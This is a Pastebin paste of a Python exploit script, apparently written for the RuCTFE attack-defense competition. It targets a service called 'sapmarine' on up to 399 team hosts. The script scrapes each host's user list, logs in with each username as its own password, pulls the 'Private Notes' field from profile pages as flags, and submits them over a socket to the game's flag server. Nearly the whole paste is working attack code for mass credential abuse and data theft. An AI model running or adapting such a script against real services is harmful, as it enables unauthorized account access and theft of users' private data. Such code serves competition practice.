Advertisement
Guest User

Untitled

a guest
Nov 12th, 2016
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.77 KB | None | 0 0
  1. import threading
  2. import socket
  3. import requests
  4. from lxml import html
  5. from bs4 import BeautifulSoup
  6.  
  7.  
  8. task = 'http://sapmarine.'
  9. suf = 'team'
  10. pref = '.ructfe.org'
  11. loginForm = '/loginForm'
  12. profileForm = '/profileForm'
  13.  
  14.  
  15. class Sapmarine(threading.Thread):
  16.     def run(self):
  17.         pass
  18.  
  19.  
  20. def get_html(url):
  21.     return requests.get(url).content
  22.  
  23.  
  24. def get_user_list(url):
  25.     soup = BeautifulSoup(get_html(url), 'lxml')
  26.     users = []
  27.     for user in soup.find_all('table')[1].find_all('tr'):
  28.         users.append(str(list(user)[1])[4:-5])
  29.     return users[1:]
  30.  
  31.  
  32. def get_flag(html):
  33.     soup = BeautifulSoup(html, 'lxml')
  34.     form = soup.find('form')
  35.  
  36.     try:
  37.         for line in form.find_all('div'):
  38.             fr = line.find('input')
  39.             if fr['placeholder'] == 'Private Notes':
  40.                 return fr['value']
  41.     except AttributeError:
  42.         pass
  43.  
  44.  
  45. def perform(user, url_login, url_get):
  46.     # print(url_login + '?user={}&pass={}'.format(user, user))
  47.  
  48.     req = requests.session()
  49.     req.get(url_login + '?user={}&pass={}'.format(user, user))
  50.     resp = req.get(url_get)
  51.     return get_flag(resp.content)
  52.  
  53.  
  54. def logout(url):
  55.     return requests.get(url)
  56.  
  57.  
  58. if __name__ == '__main__':
  59.     for num in range(1, 400):
  60.         url = task + suf + str(num) + pref
  61.         users = get_user_list(url)
  62.         for user in users:
  63.             # user = 'brigida3e3b'
  64.             flag = perform(user, url + '/login', url + profileForm)
  65.             if flag != '' and flag is not None:
  66.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  67.                 sock.connect(('flags.ructfe.org', 31337))
  68.                 # sock.recv(200)
  69.                 sock.send((flag + '\n').encode('utf8'))
  70.                 print(sock.recv(200))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement